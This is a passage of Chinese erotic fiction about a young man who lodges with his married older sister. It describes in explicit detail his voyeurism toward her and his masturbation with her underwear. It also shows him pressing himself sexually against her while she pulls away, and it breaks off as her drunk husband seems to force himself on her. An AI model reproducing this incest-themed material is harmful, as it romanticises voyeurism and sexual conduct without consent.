分享好友
    复制链接
      作者:衣果fly
    字数:28162
    序章
    伦理和道德交织成一张巨大的网,束缚住了心底深处那些龌龊潮湿的想法。
    可是,欲念仍能在身体里流淌着,化作缕缕情丝渗入骨髓深处,难以根除。
    已经记不清是从何时起,那道一直约束着自己的文明枷锁,明明看似牢不可
    破却在不经意间瓦解雕落……

    第一章
    一直以来,我对姐姐怀有着一种说不清、道不明的情愫,朦胧而烟迷,缭绕
    在我心头无法驱散。
    脑海里满是她温柔娴静的脸,时常会盯着她婀娜的背影而出神,直至我反应
    过来后,懊恼的同时又开始疑惑,这是正常的姐弟之情吗?
    心底些许的罪恶感触发了理智的神经,生活中潜移默化地接受了那些有关伦
    理的教育,告诉我这是不正常的。
    后来,我将对姐姐的这种感觉,归咎於是一种紮根在姐弟之情上而萌芽生长
    出来的男女之情。
    我努力让这感情变得纯净,不容一丝杂欲去亵渎,一开始它的确如我所愿,
    仿佛成为了精神上的寄托,使我心安理由的去喜欢姐姐。
    即使姐姐结婚的那天,我也能由衷为她开心、替她祝福,姐姐她幸福就好。
    我含泪带笑,只是心中有如刀绞,那暗藏的情感一直被翻卷而起,无法停歇
    我只好任由之,却从未料到过它最终泛滥成席卷一切的凶猛洪流。
    ……
    「阿坚,这儿就是你的房间了。」当我拎着行李,站在门口正有些迷茫时,
    耳旁传来的清脆女声让我清醒过来。
    循声向她望去,与她四目相对的一瞬间,我立马转移视线,脸上涌过一阵不
    易察觉的赤烫。
    即使是稍纵即逝的一瞥,但刚才捕捉而来的容貌依然深刻的融入了脑海中,
    天生丽质的脸蛋,雪白无暇的肌肤,圆润殷红的樱唇,最吸引人的莫过於那一双
    温柔似水的眼眸,仿佛能洗涤心中所有的不快。
    她,正是我的姐姐,自从她出嫁后便有些时日未相见,一如从前她好像还是
    那熟悉的美丽模样,但又有些陌生,她烫染了原本齐肩的乌黑秀发,更加时尚靓
    颖,清纯中增添了几分女人独有的气质。
    「嗯。」我点了下头,滚咽着喉间的口水,只是艰难地回复简短的一个字。
    「哦对了,知道你要来,我把房间打扫了一遍,床单也洗了,现在应该晾晒
    得差不多了,我先给你去把床铺好。」姐姐说完,走向一旁的阳台,收起那在阳
    光照耀下有些透明的床单。
    「姐,不用麻烦了,我自己来吧。」我总觉得这些事情还是自己来做比较安
    心。
    「哟,我弟什么时候也变得这么客气了。」姐姐一边打趣着我,一边款款向
    我走来,我像是被看破了什么似的,又感到一阵是不自在的感觉。
    好在姐姐并未特别在意我神色的变化,她将揣在怀中那洗净的床单放到了床
    上,随后弯下腰开始整理。
    「姐,我帮你一起。」我挠挠头,站在一旁无事可做有些尴尬,於是主动走
    了过去搭把手。
    「那正好,你去另外一头,帮我一起把床单铺平整。」姐姐低着头应答道。
    我和她分别位於床的左右两侧,以便两人将床单上的褶皱拉直,然而当我举
    起头註意到站在对面的姐姐时,瞬间惘了神,视线再也挪不开了。
    正值五月,虽未入夏,但已经能感到几分暑气,所以姐姐穿了一件米黄色纺
    纱的连衣裙,她弯着腰整理床单,我分明能够从那宽松的领口看到一对被浅绿色
    蕾丝胸罩包裹起来的丰胸。
    两只乳房丰满且圆润,雪白的乳肉随着姐姐手上的动作而轻轻地晃动,仿佛
    随时都有可能打碎的嫩豆腐一般,罩杯边缘镂空的花纹点缀在如此美乳上,相得
    益彰的美景让人只想沈沦其中,心中全然感受不到偷窥亲人肉体的背德感。
    我放缓手上铺理床单的动作,尽可能的拖延着时间,只为了能够多欣赏一会
    儿这难得的美景。
    「看什么呢。」或许是因为我的目光过於肆无忌惮,姐姐察觉到了我的目光,
    拉了拉领口,对我嗔怪道。
    「啊?没……没看什么啊……」想不到会被捉个现行,我从脖子根一直红到
    脸,支支吾吾着试图狡辩。
    「哼。不管你了,我先准备晚饭去了。」姐姐俏皮地撅起小嘴,对我作出一
    副生气了,我却看得癡呆,没想到都已经结婚成了人妻的她,也还会流露出这么
    可爱的小女人一面。
    不过同时也在心里暗暗松了口气,姐姐应该没真生气,或许因为我是她弟弟
    吧,儿时情谊是斩不断的,姐姐对我并不设防。
    姐姐转身离开了房间,我又顺着她曲线柔媚的背部望去,轻薄的连衣裙被两
    瓣圆圆的臀肉撑起,如同挂着一轮圆月般的优美,隐约还可见沟壑出来的内裤形
    状,而裙摆下两条修长纤细的小腿,看起来极为白净,交叉迈动着优雅的步伐。
    很快,她的身影没入一个转角,消失在我的视线里,我竟有些怅然若失的感
    觉,笔直的躺在好不容易才铺整齐的床上,怔怔地看着天花板。
    稍感冷静后,迟来的罪恶感才缓缓笼罩心头,我开始懊悔,自己刚才的举动
    仿佛是在心中的那份清澈的感情中滴入一点墨水,逐渐开始浑浊……
    果然,我就不该来姐姐家里的。
    其实,来姐姐家中,并不是我本愿的事,虽然我一直每天都有在思念出嫁后
    的她,但让我到她家入住,我是拒绝的。
    因为我觉得这是独属於她和另外一个男人朝夕相处的世界,明明和她流着相
    同血液的我,来到这里却显得更像是一个外人。
    说起姐夫,说句实话我对他多少有些排斥,因为就是他娶走了我那么喜欢着
    的姐姐。
    但另一方面,我又是有些敬佩他的,姐夫事业有成,据说当初是白手起家,
    如今自己置办起了一家设计公司,收入颇丰,也算是成功人士。
    与他相比,我就很惭愧了,不但连书也读不好,还早早的就辍了学,可让父
    母操碎了心,前途未知。
    后来,当父母听说姐夫的公司正在招揽学习设计的门徒,这行业前景还不错,
    便想着让我过去学习,最好还能让姐夫亲自教我。
    在父母的请求下,姐姐的说情下,姐夫终於同意,有了他这层关系了,我虽
    然学历不够,但被他公司破例录用了。
    但我家距姐夫公司路程稍远,每天上下班极为不方便,所以姐夫又提议,干
    脆就让我住到他家里,刚好还能让我跟姐姐叙旧。
    就这样,我怀揣着复杂的心情,带着父母替我备足的行李,来到姐姐家,开
    始这段不知为期多久的借宿生活。
    小憩了一会儿,不知不觉间已经天黑了,看了眼窗外的万家灯火,我轻叹一
    口气后走出房间,发现姐姐还在厨房里忙活。
    「姐,好多菜啊,这么丰盛,都吃得完吗?」看着桌上摆满的各式菜肴,我
    衷心感叹道,曾经和我一同在父母庇护下的姐姐,原来她也已经是个贤惠的人妻
    了。
    只可惜是别人的……
    「这不是因为你来了嘛,怕给你饿着了!我再炒一个菜就好了。」听到我的
    夸赞,姐姐满意地挺起胸膛,浑然不知她那丰满坚挺的乳房在我眼前颤巍巍的晃
    动着,一道道优美的曲线。
    我正想仔细地瞧几眼那充满诱惑力的曲线,可此时刚好传了开门的声响。
    「阿坚呢?」人还未见,就听到这浑厚的男声在喊我,随后一阵略显急促的
    脚步声由远而近的传来。
    只见一个穿着西装的高大男人快步向我走来,说不上多么帅气,但五官还算
    端正,带着一副细丝框的眼睛,看起来斯文有礼的模样,脸上带着自信的笑容显
    现着他的心情不错。
    他,就是我的姐夫,与他表现出来的热情洋溢所相反的是我心里的冰冷,看
    见这个从我身边抢走了姐姐的男人,我怎么也高兴不起来。
    「姐夫。」出於礼节,对於这个并不是很感冒的男人,我还是喊了他一下,
    表示打过招呼。
    「太好了,阿坚你可算来了,你姐在我这儿可是一直都在念叨你呢!」姐夫
    走过来很自然熟的拍了拍我的肩膀。
    「你看看你,怎么鞋都没脱就进来,地板都被你踩脏了。」姐姐端着菜出来,
    见到姐夫后没好气地说着。
    「忘了,忘了,见到阿坚太激动,哈哈……咦,老婆你今天做了好多菜,真
    棒啊,让我抱你一个当奖励。」姐夫说着说着就开始转移话题,张开双手作势向
    姐姐搂去。
    「死开,一点也没个正行,阿坚在呢。」姐姐伸出两只葱白的小手抵在姐夫
    的胸膛上,虽然在拒绝,可是脸上的笑容看得出她并不反感。
    我站在旁边显得有些木讷,实在不知道该在脸上挤出怎样的表情,最终索性
    坐到餐桌旁示意该吃饭了。
    餐桌上,姐夫给自己满了碗酒,然后也要给我来点,我不喝酒便回绝了。
    姐姐先是给姐夫夹了菜,然后也给我夹了块我爱吃的排骨,她做的菜肴很香,
    但我却觉得索然无味……
    话匣子基本上都是姐夫打开的,可能姐姐见我话少,她贴心地慰问了我几声
    后,姐夫他便决定让我再待家休息两天,再跟他去公司学习。
    「嗯。」我点点头回应着他们,然后又是无言,唯一能做就是让自己安静得
    自然一些,在姐姐和姐夫有说有笑的世界里显得别那么突兀。
    匆匆吃过晚饭,回到房间后,心情开始烦躁,随手拿了本书来看,却怎么也
    看不进去,约莫过了半个钟头,姐姐来到房门口。
    「阿坚,一起去楼下散步吗?」她问道。
    「不了,我有些累了,想早点睡。」我摇摇头。
    我当然愿意和姐姐去散步,但是心想姐夫他应该也会一起跟着,一想到三人
    散步的那场面,我像个电灯泡一样,就拒绝了。
    果然如我所料,见我不愿意去,姐姐只好作罢,她还是穿着裙子,只是拿了
    件外套披在身上,然后挽着姐夫的手出了门。
    看着两人亲昵甜蜜的背影,只觉得心中的躁意更盛,姐夫吃完饭喝了酒,不
    老实去睡觉,也和姐姐散步做什么。
    越想越气烦,如同有团火焰在炽烤,我脱了衣服就去浴室准备洗个冷水澡。
    五月的夜微凉,花洒喷出湍急的冷水拍打身上,还是能感到丝丝的寒意,身
    体不受控制地开始发抖,好在心逐渐静了下来,终是好受了许多。
    洗完澡后我躺在床上,心绪又开始飘荡起来,我舍不得姐姐,也不愿看到姐
    姐被别的男人拥有,但是这一刻却统统无可奈何,变成了现实摆在我面前。
    一想到以后的日子还长,类似今天的经历可能会更多,就感到万分绝望,这
    滋味不亚於严刑的折磨,我开始恐惧。
    此刻的我极度想要回家,想要逃避这里,胡思乱想间痛苦的浑噩着,直至姐
    姐散步回家了我都没发觉。
    「阿坚,应该还没睡吧?给你买了些吃的,给。」姐姐来到我房间,原来她
    给我捎了一些零食。
    「我还没睡呢,谢谢姐姐。」我起身下了床,向着姐姐走了过去。
    当我靠近后,才註意到姐姐精致的脸蛋上浮着一层酡红,浅浅的红晕绽在白
    净无暇的肌肤上,如同朵朵桃花飘荡在清澈的湖水上,额前的几缕秀显得微微淩
    乱,浸染了些许汗水。
    怎么散步还出这么多汗,晚上也不热啊,我感到纳闷,心不在焉地接过姐姐
    手中的零食,没想到装零食的袋子还塞了几瓶饮料,没拿稳「啪」的一声连着袋
    子摔在了地上。
    东西摔落时的声响吓我一激灵,我赶忙蹲下身去拾起散落在地上的各种零食。
    「哎呀,怎么这么不小心。」姐姐一阵娇嗔,她也被吓了一跳,伸出柔拳轻
    轻地捶了我的脑袋一下,然后一起蹲了下来帮忙捡零食。
    穿着裙子的她因为蹲姿,长度勉强及膝的裙摆根本遮不住那双修长丰润的大
    腿,一片大好灯光就这样展现在我眼前。
    大腿上光滑的肌肤映着明亮的灯光,变得晶莹剔透起来,甚至可以看见淡淡
    的血管,如同精致的工艺品一般美轮美奂。
    我的视线顺着她双腿完美的曲线伸向那之间的更深处,可惜裙子里面的光线
    有点暗,我看不太清楚,於是慢慢地向她挪近身子,低下头重新找了个角度窥视。
    那团朦胧的阴影逐渐扩散,我终於看清了大致的模样,瞳孔瞬间放大,血液
    蒸发般的口干舌燥,姐姐,她竟然没穿内裤。
    本来只是想窥探一眼姐姐穿的内裤是什么颜色,没想到直接看到了她最神秘、
    最隐私的部位,这是我怎么也不可能想到的意外之喜……
    在雪白的两条大腿根处,最显眼非那一抹黑亮的萋萋芳草莫属,隐藏其中的
    是一道粉红色的峡谷自阴阜位置向下延伸而来,将她整个饱满的阴部平分为左右
    两个肉包。
    哇,太美了,虽然内心十分惧怕会被姐姐发现我此刻的无耻行为,可是我的
    目光就是舍不得挪开,我惊愕不已,连呼吸的节奏也变得紊乱不堪。
    第一看见女人私处竟然是在这种情况下,而且还是看见自己亲姐姐的,姐姐
    打死也不可能给我看的羞耻部位竟然被我看得如此彻底。
    由於姐姐蹲地时双腿有些分开的姿势,那道粉嫩诱人的裂缝也轻轻张开,好
    似一只粉色的肉蚌正要吐露一般,微微淫靡地蠕动着,娇羞了两片试图躲藏起来
    的阴唇。
    只是感觉有些奇怪,姐姐阴户饱满的肉包上也和她的俏脸一般带着暧昧的红
    晕,乌黑的阴毛和她额前秀发一样好像被汗珠湿染成缕缕,真有那么热吗?上面
    出汗,下面也流汗……
    很快地上的零食就都拾取好了,姐姐站起身来,见到我呆楞的奇怪模样,她
    立马反应了过来,下意识的拉扯裙摆整理了一下,俏脸上的红晕更盛。
    我心虚根本不敢与她对视,垂着头如同犯人接受审判一样静候发落,内心的
    忐忑仿佛有刀子在反复戳紮。
    「早点睡。」姐姐的声音很低,但格外温柔,说完她就离开了房间,还替我
    关好了房门。
    姐姐走了,但我仍旧忐忑不安,但总觉得没那么简单,姐姐为什么没有责怪
    我,我偷窥她的那里难道她不生气吗?还是说她没发现我的行为,这也不可能呀
    ……
    胯下梆硬的感觉打断了我的胡思乱想,这时才註意到我的阴茎已经变得十分
    坚挺了,那涨热的憋屈感让我十分难受,我竟已经勃起了。
    怎么能对自己的姐姐产生这样肮脏的想法,似是还保留着最后一丝的伦理道
    德,因为对亲人产生肉欲后的罪恶感袭涌而来,使我感到一阵反胃,可是这并不
    能抑制我想要尽情释放的沖动。
    姐姐她对我那么体贴、那么温柔,虽然我喜欢她,但我从不以她为对象来进
    行自渎,她是那么完美的女神,我不愿因为自己肮脏恶心欲望而破坏了姐姐在我
    心中的纯洁。
    同时,我的心中也开始疑惑起,姐姐为什么没穿内裤,我记得下午看她背影
    时,隔着裙子看到了她臀部上内裤的轮廓,那时她都还是穿着的。
    她今晚还没洗澡,好端端的为什么要脱了内裤,到底什么时候脱的,我开始
    琢磨着,姐姐她做饭、吃饭、洗碗、散步……
    等等,难道是刚才她和姐夫在外面散步的时候脱的?
    「不会的,不会的。」我摇摇头,因为这个荒谬的猜测而自嘲的笑了笑,她
    怎么可能散步时脱了内裤。
    可不知怎么的,直觉告诉我这个可能性很大,而且也找不到其他合适的时间
    点了,我越思考越迷惑,紧接着各种奇怪的猜测涌入脑中。
    种种没理没据的瞎猜缠绕着我,脑袋涨疼,胯下又胀得难受,我躺在床上一
    直辗转反侧,怎么也睡不着。
    好不容易困意泛起,朦朦胧胧间,我看到了姐姐,她噙着一抹温柔的笑意,
    宛若下凡的天女那般娴静优雅,向我走了过来。
    可是我又看到了姐夫,他走到姐姐身旁搂住她,而姐姐竟然顺从地竟依偎在
    姐夫怀中,为什么,为什么这个男人可以占有我的姐姐,凭什么,凭什么姐姐是
    不能属於我的。
    我想走过去,却发现有一道无形的屏障阻拦着我,我用力地捶打着,想大声
    质问她,却发现喉间一片干涸,发不出任何声响,只能眼睁睁地看着姐夫带着姐
    姐离我远去……
    不要!
    「啊!」突然惊醒,额头已渗满冷汗,原来只是梦一场,可是那种仿佛铁钳
    扼喉一般痛楚的无奈竟如此真实。
    看了眼时间,都已经深夜了,由於心中的悸动,我根本不想再继续睡了。
    我下了床准备去上趟厕所,经过姐姐卧室时,想到姐姐现在正和那根男人躺
    一张床上睡,说不出的酸楚滋味,鬼使神差之下我竟然趴到门上,想要听一听里
    面的动静。
    此刻空气中仿佛静得只剩下我独孤而有力的心跳声,这么晚了,房间里两人
    肯定已经睡了,所以我等了很久,也才听到几声姐夫沈缓的鼾声。
    我感觉失望而庆幸,两种矛盾的心理,也不知自己到底想要听到什么,或者
    说害怕听到什么……
    卫生间里的灯光有些过於明亮,让刚从黑暗中走过来我暴露在这光明里异常
    的难受和不适,闭着眼睛小完便,当我按下马桶的沖水键后准备离去时,目光却
    被角落洗衣机上放着的洗漱盆吸引住。
    那里放着的是还没洗的衣物,我一眼就看见了姐姐白天时穿的那件米黄色连
    衣裙,此刻被揉成一团压在姐夫的衬衫下。
    应该不止就这么几件衣服,我走了过去手伸进洗漱盆,像是在河床底部淘金
    那样小心地翻动着,果然,我找到最想要的。
    姐姐的内裤!一条丝质的粉蓝色小内裤,层层蕾丝花边,点点碎花缀饰,手
    感丝滑质地良好,展开放在掌中显得很是小巧,真不知道姐姐那又圆又翘的美臀
    是怎么穿进如此精致的小内裤。
    它是姐姐最隐私的贴身衣物,曾反复亲吻过姐姐那美丽的阴户,做到了我想
    都不敢想的事,我莫名的兴奋起来。
    我翻出小内裤里侧裆部位置,试图捕捉着姐姐私处留下的气味,却发现几块
    未完全干涸的痕渍,一开始还以为是姐姐的分泌物,仔细一瞧竟然是男人的精液。
    「妈的。」我直接骂了出来,还好没有直接上嘴去舔,我终於明白了姐姐晚
    上散完步回来后为什么没穿内裤!
    晚饭后姐姐和姐夫外出绝不仅散步那么简单,当两人找到地方缠绵完事后,
    姐姐穿上内裤,意外被还有没擦拭干净的精液弄脏了内裤,所以她就又给脱了。
    再联想到后来,姐姐去超市给我买零食时连内裤都没穿,阴户里还残留着男
    人新鲜的精液,我感到一阵痛心。
    我真的不愿去相信姐姐那美丽静雅的外表下,其实也有着淫靡的一面,只不
    过这一面她是不可能对我展示的。
    我一直深深喜爱着的姐姐,此刻如同一面镜子被打碎了那样,化成了一块又
    一块拼不回去的碎片。
    我也随着那些碎片一同瓦解,不想再坚守维护那可笑的纯洁感情了,什么伦
    理道德此刻尽数溃败,如同决堤了一般,压制已久的欲望终於找到宣泄口。
    我疯狂地洗漱盆中翻找着,拽出了那件浅绿色的胸罩,和小内裤一样也是绣
    着精美的蕾丝,在罩杯的托沿上还点缀着红色的花朵,显得格外妖冶诱惑,当它
    托起姐姐那里两个丰满的酥胸时,该是多么的性感诱人啊。
    我伸出舌头在两个罩杯内侧舔舐着,闻着上面浅浅的奶香,仿佛是在吸吮姐
    姐的乳头,姐姐的乳头会是什么样子的呢,也会有着和她蜜穴一样粉嫩的颜色吗?
    含在嘴里吸起来一定很好吃吧。
    真的是嫉妒姐夫啊,独自一人占有了我那天仙般美丽的姐姐,他可以对姐姐
    尽情做所有我也想做的事,而我只能在夜深人静时,独自躲在卫生间里,拿着姐
    姐的贴身衣物缓解这压制已久、不敢揭露的欲望。
    我也从没想过自己会就这样堕落於无尽的深渊,现在我的模样一定很猥琐、
    很可怜,昨天的我一定会万分鄙夷、唾弃今天的我吧。
    不过一切都无所谓了,当我在一念之间败给种种淫邪时,就註定踏上了一条
    无法回头的绝路。
    我一手拿着姐姐的胸罩套弄在阴茎上尽情享受着,一手抓着姐姐的连衣裙放
    置鼻下深嗅,上面残留着的芳香是我最熟悉的姐姐味道。
    「姐……姐姐……姐姐……」我赤红着双眼,粗狂地低吼着,从喉间发出野
    兽般奇怪的声响。
    手上用胸罩套弄阴茎的动作越来越快,阴茎被有时胸罩上蕾丝的花纹刮得生
    疼也不在意,欲念使我乐在其中。
    伴随着一阵酥麻的快感,我浑身一颤,一股又一股浓稠的精液射了出来,喷
    洒在姐姐的胸罩上。
    我怔怔地看着一滩精液刚好流到了罩杯外红色的花纹上,如同一朵白莲被一
    团熊熊燃烧的业火包裹着,焚毁着那无法言说的罪恶。
    「哈……哈哈……」生理的欲望得到缓释,但心中的积郁却是更甚,我只能
    像个疯子一样大笑着。
    我不知道我是背叛了自己,还是背叛姐姐,只知道卫生间里的灯光真的好刺
    眼,不然为何我笑着笑着,眼泪却不受控制地流了下来……

    第二章
    堕落於无边的幻想之中,又被无奈的现实紧紧捆绑,我只能悲哀的笑着,明
    确感受着自我的分裂。
    随着笑声微微弱去,我仿佛被抽尽了所有的气力,瘫软靠在墙壁上然后慢慢
    滑坐到了湿漉的地板上。
    空气中弥漫着的刺鼻腥臊的精液味道,看着手中却仍紧握着那条被蹂躏过的
    胸罩,我知道对姐姐怀有那份情感不可能变得纯粹。
    我挣紮着站了起来,只觉得视线里的所有东西变得模模糊糊,走起路来也像
    是一个漏了气的气球,东碰西撞的,还差点撞在门框上。
    好不容易才回到房间,一头紮在床上,我能感到细细的汗珠不断地从额头渗
    出,整个脑袋像是要炸开似的,里面仿佛有一列老式的铁皮火车在不断的轰鸣…

    当我恢复一些意识时已是第二天,迷糊间感到有一只柔荑般的小手不断地摸
    着我的额头,指尖那丝丝冰凉的感觉让我滚烫的脑袋很是舒服。
    睁开眼睛,一道熟悉的身影坐在我的床边,美丽的脸蛋上挂着些许憔悴,一
    手摸着我的额头试探体温,一手替我将被子向上拉了拉。
    「阿坚,你醒了?我正要打算喊醒你去医院看看。」见我醒来,姐姐立马殷
    切的问候着,眼里写满了担忧。
    「嗯……怎么了?」我有气无力的问着,我还不解到底怎么了,像是酒后断
    片了一般的迷茫。
    「你发烧了知不知道,早上看你一直在睡觉,怎么叫也没反应,一摸额头好
    烫,吓我一大跳。」
    原来是发烧了,不过也难怪,昨天洗的冷水澡,后来半夜又不睡觉躲厕所偷
    偷自慰,着凉发热也是正常。
    总算知道为什么脑袋这般疼痛,浑身上下像是灌了铅一样沈重,唯一感到藉
    慰的是内心的痛苦倒是轻微了许多。
    「你姐夫早上有事出门早,那时我们还不知道你发烧了,唉,我打电话让他
    回来,开车一起送你去医院。」姐姐说着站起身来,拿出手机就要拨通电话。
    「姐……不,不用了……」我虚弱的回应着。
    昨晚在卫生间做的事还是很清晰的刻在脑子里,以至於我现在一时间有些仿
    徨无措,不知道该怎么去面对她。
    「这怎么可以,医院去挂个点滴,这样退烧快。」姐姐执意要带我去医院。
    「我现在不……不想动,家里有药吗?吃……吃了睡一觉就好。」说完,我
    向被窝深处鉆了鉆,蒙着脑袋躲起来,随后我听到姐姐给姐夫打了通电话。
    姐夫好像确实有公司上的急事,无法赶回来开车送我去医院,姐姐心急得和
    他拌了几句嘴,具体的隔着被子我听得不是太真切,最后姐姐不悦的挂了电话。
    「阿坚,那你把药吃了,如果晚上还没好转的话,一定要去医院,行吗?」
    姐姐拍拍我的被子,柔声中带着歉意。
    「嗯……」我从被窝挪出半个身子,刚想要将头枕在床头板上,姐姐便坐在
    我旁边并轻轻地扶住了我的手臂,让我的脑袋靠着在她的肩上,然后细心地喂我
    吃药。
    我的脸颊枕在姐姐圆润的玉肩上,闻着她身上淡雅芬芳的幽香,脑袋的那团
    火烧得更火烫了,但心中的躁动也强烈许多,不老实的全冒了出来。
    举起视线看着姐姐美丽的脸庞,她将秀发盘在脑后,温婉娴静的淡雅气质惹
    人怜醉,几缕发丝垂下刚好剐蹭到我的耳朵,我轻轻地吹了口气。
    「别乱动,吃药。」感觉到我在作怪,姐姐轻嗔,但是俏脸上却是浮现一抹
    微红,我想起了以前儿时的玩闹,她一直都很怕痒。
    我老实的靠在姐姐身上,那只纤纤素手递来的两颗胶囊让我吃下后,又喂我
    喝了半碗粥作早饭。
    「吃完药,好好睡一觉吧。」姐姐起身让我躺回被窝,替我盖好了被子,看
    着我说道。
    或许真的是没力气了,又或许是其他原因,我没有出声回应她,只是恋恋不
    舍地看着她,脑袋的烧热使我变得大胆,我的视线迟迟不开挪开。
    而姐姐也迎合上我的视线,她美眸里闪过一丝诧异,但很快目光又变得柔和
    起来。
    姐姐早上起来后就忙着照顾我,衣服都没换,就穿着一件白色蕾丝的睡裙,
    裙摆下缘到小腿中部位置,遮掩住她玲珑有致的娇躯,只留下半遮半掩的诱惑。
    看着那些从睡裙上镂空的花纹图案里流露出来的白皙肌肤,和布料是两种不
    同的白,犹如一杯温热的牛奶浇泻在纯洁白雪上,慢慢的两者融合成一种相得映
    彰的美。
    那耀眼的白越来越近,不断放大,我只觉得好像烧得更厉害,都开始出现幻
    觉了吗。
    随后,我感到有一团温香软玉般的娇躯紧紧的贴在我身上,如梦似幻般的体
    验,可那凝肌般的雪肤传来阵阵滑腻的触感告诉我这一切都是真的,是姐姐,她
    竟然鉆入被窝里抱着我。
    「姐……姐姐,你……干嘛啊?」我言语间透露出内心的慌乱,姐姐这突然
    香艳的举动令我有些不知所措。
    「你小时候发烧,我也是这样抱着你的,闷出汗来,烧就退了。」
    「那是以前,跟现在不……不一样的……」我压低了声,连吞咽口水的动作
    都变得小心缓慢,因为现在的一切举动都会显得有些暧昧,甚至尴尬。
    「有什么不一样的,你还是我弟,我也永远是你姐。」说完,姐姐轻轻的笑
    着,同时又拥紧了我,她的身子也跟着变得更为柔软了。
    她的笑声沾在我耳旁,慢慢地沁入我身体里的每一个细胞,融化了此刻我和
    她之间的那层尴尬。
    我和她面对面相拥,准确来说是她单方面拥抱着我,我如同一根木桩笔直的
    倒在那儿,双手贴在身旁两侧不敢随意移动,生怕碰到什么不该碰的。
    姐姐近在咫尺,就连她呼吸出来带着幽香的热气我都能感受到,但是秀发遮
    掩住了她大部分的脸蛋,我看不到她的表情,不知道她的心情是否和我一样复杂
    难喻。
    放置於身体两侧的双手有些酸麻,我想要舒缓一下血液的流通,双手小心翼
    翼地滑动着,不知怎么的慢慢触碰到了姐姐身上,指尖隔着薄薄的睡裙轻抵着她
    柔软的身子。
    我试探性地向下按了几下,随后一手抚在她柳叶般弯柔的腰肢,另一手抚在
    那如玉般光洁的后背上。
    我发誓我的初衷只是想抱一下姐姐后便松手,但是当我双手真正触及到她娇
    躯的柔软后,就再也不舍得松开了。
    我像是要将姐姐整个身子揉进自己体内那般,紧紧的抱着她,丰满的乳房压
    在我的胸膛上,柔软而不失弹性的感觉刺激得我几乎疯狂。
    「嗯啊……」姐姐可能吃痛,发出一声娇软的闷哼。
    这声娇滴滴惹人怜爱的浅哼对我而言如同一发催情剂,种种情欲再次不安分
    地在体内张牙舞爪,如同昨晚我在卫生间里拿她内衣猥亵时那般,失去理智保护
    的伦理道德便显得脆弱不堪。
    姐姐那迷人性感的娇躯就在我怀中,她洁白的脖颈引诱我嗜血的沖动,我即
    将失控,想要如同野兽那样只凭着体内欲望的驱使来行事,不顾一切尽情地去占
    她!
    强烈的欲火使我的脑袋烧得更加厉害,我开始剧烈喘息,胯下硬挺的阴茎隔
    着衣物在姐姐两条腿之间来回研磨,如同一条急着回穴的毒蛇在不断寻找自己的
    巢穴。
    那一刻我真想把姐姐身上这件睡裙撕得粉碎,我要看清楚,这个我从小就迷
    恋、崇拜的姐姐,我想看见她无遮无掩的样子,我想看清他浑身上下每一个角落。
    我要抱着她、吻她、揉捏她、占有她、蹂躏她,现在只要我稍一狠心,这一
    切都能如愿!
    「阿坚……」姐姐叫着我的名字,同时小幅度地扭了下身子避开了我胯下的
    小动作。
    秀发终於不再遮掩,我看清了姐姐那张超凡脱俗的脸庞,美眸中包含的丝丝
    怜爱是我看不懂的意味深长。
    「别闹了,我知道你很难受,好好睡一觉,你的烧肯定会退的……」
    姐姐的话语如同母亲安慰调皮的孩童那般,温柔儿体贴,仿佛一抹春雪融化
    成的清泉浇熄了我那炽烈的邪念。
    我回忆起了曾经的点滴,从小到大一直都是姐姐在保护我,她对我的好,如
    同沙漠里沙粒数也数不完。
    可是,为何现在的我总想要因为自己的私欲而做出伤害她的事?
    终是狠不下心来……
    「姐……对,对不起……」我声若细蚊,眼眶又是没来由的湿润。
    我感觉到姐姐紧绷着身体松软了下来,其实不用过多的言词,彼此都明白刚
    才差点发生了什么。
    「没事的,你是我弟,我……我怎么可能怪你呢。」姐姐略微哽咽。
    她微微坐起一些身子,低头看着我,原来她的眼眶也有晶莹的露水在打转。
    由於我躺的角度,还有她现在的姿势,刚好看到了姐姐领口的两颗纽扣不小
    心解开了,从雪颈延伸至精巧的锁骨,再由浅往深,我看见了更诱人的秘密。
    两团饱满如玉琢般的雪峰,没有胸罩的聚拢依然那样坚挺,用眼看着就仿佛
    能尝到甜甜的奶香,当然最夺人眼球的非那精美蓓蕾莫属。
    浅粉色的乳晕烘托着姐姐珠圆玉润的乳头,她的乳头颜色偏粉,但又比粉色
    更多一些成熟的鲜艳,清纯而又不失性感,惹得人想要伸手挑逗拨弄。
    我终於完整的窥探到了姐姐的乳房,虽没见过其他女人的,但我肯定姐姐的
    乳房是全天下最美的。
    我虽然沈醉於她乳房绝美的全貌,但是却产生没有一丝沖动的情欲。
    「姐姐,扣子开了。」我开口提醒着她,尽管心中是万分不舍,我多么希望
    时间能够暂停在这一刻,那样就可以想永远欣赏下去……
    「嗯……」姐姐靦红了脸,快速整理好了领口,饱满的酥胸一阵快速的上下
    起伏。
    她依旧是用同样的姿势抱着我,但不知为何,此刻被她抱着的感觉更为让人
    舒服,她娇躯传递而来温暖慰藉我了心中那些无来由的烦躁。
    「睡吧……睡吧……」姐姐轻轻地哼吟。
    眼皮逐渐沈重,感知变得迟缓,只剩下耳边传来姐姐的轻吟,我好似化成了
    一片轻软的羽毛,而她则是那温柔的风儿,将我笼罩着缓缓托起飘向远方。
    ……
    睡梦中隐约好像听见有人在争吵,迷糊间睁开眼睛,想要抱紧姐姐,却发现
    怀中空空的,她已经不在身旁了,但床上还留着她的体香。
    我努力使自己清醒一点,脑袋好像烧得没有那么厉害了,看了眼时间竟已经
    是下午一点。
    「姐姐怎么不叫醒我吃个午饭。」早上只喝了些粥,现在醒来后肚子难免会
    感到有些饥辘。
    挣紮着起身下了床,摇晃了好半天才找回些许走路的感觉,徐徐走出房间。
    姐姐卧房的门关着,当我正打算推门看看她是否在时,听到里面有谈话声,
    而且有些双方的言语间有些急沖.
    「我都说了不要,你烦不烦啊!」是姐姐的声音,怎么这么激动,很少见一
    向温柔的她发这么大的火。
    「嗝……什……什么不要?你说不要就不要吗,早上就一直催……催催!!
    老子中午和客户吃完饭就赶过来了,你让老子白跑一趟吗?嗝……「
    这个让我反感的声音也很熟悉,是姐夫的,但是我没想到看起来挺斯文的他,
    说话也会一口一个「老子」,而且听得出来他现在讲话的语调,应该是和客户刚
    喝完酒。
    「我让你过来,是叫你带阿坚去医院的,不是让你来搞这些乱七八糟的事!」
    什么乱七八糟的事,姐姐说的话让我疑惑起来,我趴在门口听得更加仔细。
    「靠,你弟都睡了,还去个屁的医院,嗝……再说了,我搞得是正事,怎么
    就乱七八糟了!」
    没想到姐夫对我姐姐爆粗口了,妈的,这个混蛋敢凶姐姐,我对他的好感降
    到了冰点,虽说我对他本来就没什么好感。
    「呀!!放开我啊……」
    姐姐分贝忽然提高,如同一只被踩到尾巴的小猫,这让我的心立马提到了嗓
    子眼,那个王八蛋难道动手打我姐了?
